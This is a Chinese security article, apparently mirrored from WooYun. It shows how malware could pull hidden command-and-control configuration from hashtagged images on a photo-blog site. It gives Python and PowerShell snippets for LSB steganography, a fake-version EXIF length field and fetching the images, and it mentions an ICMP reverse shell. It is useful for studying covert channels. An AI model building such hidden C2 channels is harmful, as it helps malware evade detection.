濫用圖片部落格做 C&C 配置

wyzsk發表於2020-08-19
作者: 0xCC · 2016/02/03 14:50

0x00 背景


幾個月前看到有文章介紹俄羅斯的 Hammertoss 惡意軟體,使用 Twitter 作為 C&C 服務。以類似方式濫用 TechNet 的也有過報導。腦洞了一下覺得,使用圖片(或者其他格式)作為隱寫(steganography)的載體來攜帶 C&C 控制命令更為隱蔽一些,而且攜帶的資訊容量相對 twitter 的 140 字限制大得多。

一些輕部落格可以儲存使用者上傳的原始圖片,還支援對圖片新增標籤(hash tag)。透過一個固定的 url 就可以獲取到具有某個 hash tag 的圖片。這樣既可以無損嵌入隱蔽資訊,還能很快定位到“有問題”的圖片。在控制方需要修改配置(如 IP 發生變化)的時候,只需要登入社交網站,上傳新的控制命令即可完成更新。靈活而更有隱蔽性。

本文示例中使用了最簡單的隱寫方式——最低有效位來嵌入 C&C 資訊,有興趣的讀者也可以自行實現其他水印演算法。圖片部落格選擇了某國內流行的服務,僅作演示。

0x01 隱藏原理


LSB 嵌入隱藏資訊的思路非常簡單。選擇不帶 Alpha 通道的 24 位點陣圖作為載體,圖片中每個畫素具有 RGB 三個顏色分量,取值範圍位 0x00 ~ 0xFF,共 8 個二進位制位。這樣一個畫素可以表示 16777216 種顏色。

針對每一個顏色通道,修改其最低的二進位制位,而其餘 7 位保持不變,這樣細小的差別在肉眼上難以分辨。如下圖所示,前後兩個色塊看上去幾乎沒有差別。

LSB

這樣就在畫素中“開闢”了攜帶資訊的空間。透過將資訊嵌入到最低有效位的方式,每個畫素就可以攜帶 3bit 的資訊,也就是 23 == 8 種狀態。

0x02 影像的混合


要想支援任意二進位制資料的嵌入,還需要對原始資料進行預編碼,將一個位元組對映到多個畫素中。正好有一種編碼方式——base64,其特點是將二進位制資料編碼成為 64 個可列印的元字元,結尾使用 == 進行長度對齊。64 正好是 26,正好是兩個畫素使用最低有效位所能容納的資訊量。

由於 C&C 命令是不確定長度的,因此需要額外的欄位來指明這個長度。可以模仿 IE 中 BSTR 的做法,在結構體起始元素中標明整個陣列的長度;也可以利用影像的後設資料,如 EXIF 來儲存。

直接在 EXIF 中出現資料太容易被發現。筆者設計了一個演算法,可以將一個不太大的正整數編碼成為一個字串,這個字串肉眼看上去非常像一個軟體的版本號。接著將這個“版本號”放置於 EXIF 的 Software 欄位,看上去毫無違和感。

Fake Version

編碼非常簡單。先將 n 開平方後向下取整得 e;將 n 轉換為 e 進位制數,每一位得到一個陣列 a;將 e 新增到陣列 a 的第一個元素;以小數點為分隔符 join 得到字串 s;最後倒轉 s 得到 s' 即為“版本號”。例如 n=1992,開平方取整得到 e=44,1992 轉為 44 進製得到1992 = 12 * 442 + 1 * 441 + 1 * 440,即得陣列 [44, 12, 1, 1],最後合併再反轉字元得到 1.1.21.44,再加上個胡謅的軟體名,真是個版本號的樣子……

#!python
def fakever(n):
  def nums(num):
    base = int(num ** 0.5)
    yield base
    while num:
      yield num % base
      num //= base

  ver = map(str, nums(n)) if n >= 4 else (str(n), '1')
  return '.'.join(ver)[::-1]

將配置嵌入圖片使用 PIL 庫實現,基本流程如下:

  • 讀入 C&C 配置,將其編碼成 64 個元字元,對應 0x00 - 0x40
  • 讀入影像,將其色彩模式轉換為 RGB
  • 每兩個畫素為一組,嵌入一個元字元
  • 將嵌入資料的長度編碼成所謂“版本號”,寫入 EXIF 資料

雖然 PIL 的影像物件提供了 putpixelgetpixel 的方法來操作單個畫素,但在批次處理大量畫素的時候,這兩個方法效率很低。更好的方式是使用 PIL.Image 物件的 tobytes 方法將影像轉為畫素陣列,直接運算元組的值來修改畫素。

完整程式碼見 github.com/ChiChou/lowershell/steg.py

需要注意的是,輸出檔案格式必須使用無損的 png 或者 bmp,推薦 png。JPEG 影像格式可能導致畫素資訊丟失,無法提取完整的資料。

接著註冊一個馬甲,把合成的圖片上傳到社交網路,指定一個標籤即可。

0x04 隱藏資訊的提取


作為“惡意軟體”的一方,獲取 C&C 配置僅需要請求一個社交網站的頁面,解析 HTML 內容獲得原圖 url,最後下載並解碼隱藏的資訊。本文演示程式使用 PowerShell 編寫。藉助 .NET 的 HTML 解析和影像處理功能,可以輕鬆實現隱藏資訊還原。

PowerShell 的 Invoke-WebRequest cmdlet 可以發起一個 http 請求,返回頁面的 document 物件。透過 document 物件可以對頁面 DOM 樹下的元素進行遍歷和讀取。例如 Images 屬性可以獲得頁面中所有的圖片元素。

以國內某圖片部落格為例,獲取標籤名為 world 的圖片的原圖 url 只需要一行:

#!powershell
(Invoke-WebRequest 'http://www.lofter.com/tag/world'l).Images | where {$_.'data-origin'} | % {$_.'data-origin' -replace "\?imageView.*$"}

PowerShell 的一大優勢是可以直接呼叫 .NET 框架。.NET 的 System.Drawing 程式集提供了點陣圖的處理功能,可以讀取畫素資料以及解析 EXIF。

提取資訊的實現與影像嵌入的程式碼過程正好相反:

  • 讀取 EXIF,算出 payload(C&C配置檔案)的長度
  • 每兩個畫素為一組提取最低有效位,組成一個元字元
  • 將元字元對映成 base64 編碼字串,解碼即可得到原始隱藏資料

與 PIL 類似,在 .NET 中最佳的修改畫素的方式也是直接修改陣列。使用 Image 物件的 LockBits 將整個點陣圖區域鎖定為只讀,接著使用 Marshal 將畫素資料複製為二進位制陣列,直接運算元組而非畫素可以提升速度。

#!powershell
$rect = [System.Drawing.Rectangle]::FromLTRB(0, 0, $img.width, $img.height)
$mode = [System.Drawing.Imaging.ImageLockMode]::ReadOnly
$format = [System.Drawing.Imaging.PixelFormat]::Format32bppArgb
$data = $img.LockBits($rect, $mode, $img.PixelFormat)
$size = [Math]::Abs($data.Stride) * $img.Height
$pixels = New-Object Byte[] $size
[System.Runtime.InteropServices.Marshal]::Copy($data.Scan0, $pixels, 0, $size) # 複製到緩衝區

完整程式碼參考

github.com/ChiChou/lowershell/server/Lib/Steg.ps1

在這個示例專案中還實現了帶加密的 icmp 反彈 shell,不在本文討論範圍內,此處省略。

0x05 執行效果


首先準備一張大小適合的圖片,小了無法容納資料,大了不方便網路傳輸。

IMG_7495

執行 python steg.py example.config.json IMG_7495.jpg blend.png

得到合成的圖片如下:

blend

粗看上去沒有區別。以#ThisIsAnUniqueSecretTag為標籤上傳,接著換一個機器執行 PowerShell 指令碼,可完整地將配置檔案 example.config.json 讀取出來。

read

0x06 結語


隱寫術作為隱蔽通訊的手段,在惡意軟體中的應用由來已久。本文提出並實現了一種透過濫用圖片社交網站來下發 C&C 控制指令的方法,僅作概念演示和拋磚引玉。

0x07 參考資料


  1. FireEye, Microsoft wipe TechNet clean of malware hidden by hackers
  2. Wikipedia 隱寫術
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章